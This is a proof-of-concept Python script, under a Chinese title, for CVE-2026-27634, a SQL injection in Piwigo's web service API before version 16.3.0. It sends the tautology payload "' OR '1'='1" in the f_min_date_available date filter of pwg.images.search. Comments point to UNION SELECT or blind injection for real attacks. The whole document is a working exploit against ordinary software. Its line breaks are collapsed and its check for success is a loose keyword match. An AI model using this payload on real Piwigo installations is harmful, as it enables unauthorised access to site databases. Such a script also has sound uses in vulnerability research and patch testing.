CVE-2026-27634 Piwigo SQL注入漏洞

import requests # Proof of Concept for CVE-2026-27634 # This script demonstrates the SQL injection vulnerability in Piwigo < 16.3.0 # The vulnerability exists in the date filter parameters of the web service API. def exploit_piwigo_sqli(target_url): """ Attempts to exploit the SQL injection vulnerability in Piwigo. """ # The vulnerable endpoint is typically the web service (ws.php) endpoint = f"{target_url}/ws.php" # SQL Injection payload: Using a simple logical check to demonstrate the vulnerability # This payload attempts to make the condition TRUE, potentially returning all records. # In a real scenario, this would be a UNION SELECT or blind injection payload. sqli_payload = "2024-01-01' OR '1'='1" parameters = { "method": "pwg.images.search", # Common method triggering the filter "f_min_date_available": sqli_payload, "format": "json" } try: print(f"[+] Sending payload to {endpoint}") response = requests.get(endpoint, params=parameters, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content (first 500 chars):") print(response.text[:500]) # Analyze response to confirm vulnerability (heuristic) if "images" in response.text or "result" in response.text: print("[!] Potential SQL Injection confirmed based on response structure.") else: print("[!] Response received, but manual verification of data exfiltration is required.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/piwigo" exploit_piwigo_sqli(target)